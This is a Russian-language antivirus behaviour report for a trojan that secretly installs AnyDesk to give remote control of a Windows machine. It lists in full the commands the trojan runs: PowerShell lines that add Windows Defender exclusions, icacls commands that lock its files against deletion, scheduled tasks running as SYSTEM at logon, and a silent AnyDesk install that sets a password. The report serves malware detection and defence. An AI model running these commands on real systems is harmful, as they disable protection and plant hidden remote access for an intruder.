Trojan.Siggen28.27562

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\Software\Classes\.anydesk\shell\open\command] '' = '"%LOCALAPPDATA%\AnyDesk.exe" --play "%1"'
[HKLM\Software\Classes\AnyDesk\shell\open\command] '' = '"%LOCALAPPDATA%\AnyDesk.exe" "%1"'

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\stn
<SYSTEM32>\tasks\anydesk

Устанавливает следующие настройки сервисов

[HKLM\System\CurrentControlSet\Services\AnyDesk] 'Start' = '00000002'
[HKLM\System\CurrentControlSet\Services\AnyDesk] 'ImagePath' = '"%LOCALAPPDATA%\AnyDesk.exe" --service'

Создает следующие сервисы

'AnyDesk' "%LOCALAPPDATA%\AnyDesk.exe" --service

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath "%LOCALAPPDATA%"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionProcess "%LOCALAPPDATA%/stn.exe"

Изменения в файловой системе

Создает следующие файлы

%TEMP%\3dbb.tmp\3dbc.tmp\3dbd.bat
%HOMEPATH%\downloads\anydesk.exe
%HOMEPATH%\downloads\stn.exe
%HOMEPATH%\downloads\svchost.exe
%APPDATA%\anydesk\ad.trace
%APPDATA%\anydesk\user.conf
%APPDATA%\anydesk\system.conf
%APPDATA%\anydesk\service.conf
%LOCALAPPDATA%\anydesk.exe
%ALLUSERSPROFILE%\anydesk\system.conf
%ALLUSERSPROFILE%\anydesk\ad_svc.trace
%ALLUSERSPROFILE%\anydesk\service.conf
%LOCALAPPDATA%\stn.exe
%LOCALAPPDATA%\svchost.exe
nul

Удаляет следующие файлы

%HOMEPATH%\downloads\stn.exe
%HOMEPATH%\downloads\svchost.exe
%HOMEPATH%\downloads\anydesk.exe
%TEMP%\3dbb.tmp\3dbc.tmp\3dbd.bat

Сетевая активность

Подключается к

'bo##.##t.anydesk.com':443
'bo##.##t.anydesk.com':80
'bo##.##t.anydesk.com':6568

TCP

Другие

'bo##.##t.anydesk.com':443
'bo##.##t.anydesk.com':80
'bo##.##t.anydesk.com':6568

UDP

DNS ASK bo##.##t.anydesk.com

Другое

Создает и запускает на исполнение

'%HOMEPATH%\downloads\anydesk.exe' --install "%LOCALAPPDATA%" --silent
'%HOMEPATH%\downloads\anydesk.exe' --local-service
'%HOMEPATH%\downloads\anydesk.exe' --local-control
'%LOCALAPPDATA%\anydesk.exe' --service
'%LOCALAPPDATA%\anydesk.exe' --control
'%LOCALAPPDATA%\anydesk.exe' --remove-password
'%LOCALAPPDATA%\anydesk.exe' --set-password
'%LOCALAPPDATA%\anydesk.exe' --get-id
'<SYSTEM32>\cmd.exe' /c "%TEMP%\3DBB.tmp\3DBC.tmp\3DBD.bat <Полный путь к файлу>"' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c "%TEMP%\3DBB.tmp\3DBC.tmp\3DBD.bat <Полный путь к файлу>"
'<SYSTEM32>\icacls.exe' "%LOCALAPPDATA%/anydesk.exe" /inheritance:r /grant:r Everyone:RX /deny Everyone:D
'<SYSTEM32>\icacls.exe' "%LOCALAPPDATA%/anydesk.exe" /setowner "SYSTEM"
'<SYSTEM32>\icacls.exe' "%LOCALAPPDATA%/stn.exe" /inheritance:r /grant:r Everyone:RX /deny Everyone:D
'<SYSTEM32>\icacls.exe' "%LOCALAPPDATA%/stn.exe" /setowner "SYSTEM"
'<SYSTEM32>\cmd.exe' /c "%LOCALAPPDATA%\anydesk.exe" --get-id
'<SYSTEM32>\timeout.exe' /T 2 /NOBREAK
'<SYSTEM32>\schtasks.exe' /Create /TN anydesk /TR "%LOCALAPPDATA%/svchost.exe" /RL highest /SC ONLOGON /RU SYSTEM /F
'<SYSTEM32>\schtasks.exe' /Create /TN anydesk /TR "%LOCALAPPDATA%/anydesk.exe" /RL highest /SC ONLOGON /RU SYSTEM /F
'<SYSTEM32>\schtasks.exe' /Create /TN stn /TR "%LOCALAPPDATA%/stn.exe" /RL highest /SC ONLOGON /F
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c rm "c:/users/user/downloads/anydesk.exe" -r -force
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c rm "c:/users/user/downloads/svchost.exe" -r -force
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c rm "c:/users/user/downloads/stn.exe" -r -force
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c Copy-Item "c:/users/user/downloads/svchost.exe" -Destination "%LOCALAPPDATA%" -r -force
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c Copy-Item "c:/users/user/downloads/stn.exe" -Destination "%LOCALAPPDATA%" -r -force
'<SYSTEM32>\cmd.exe' /S /D /c" echo DinaOwnsMe "
'<SYSTEM32>\icacls.exe' "%LOCALAPPDATA%/svchost.exe" /setowner "SYSTEM"
'<SYSTEM32>\icacls.exe' "%LOCALAPPDATA%/svchost.exe" /inheritance:r /grant:r Everyone:RX /deny Everyone:D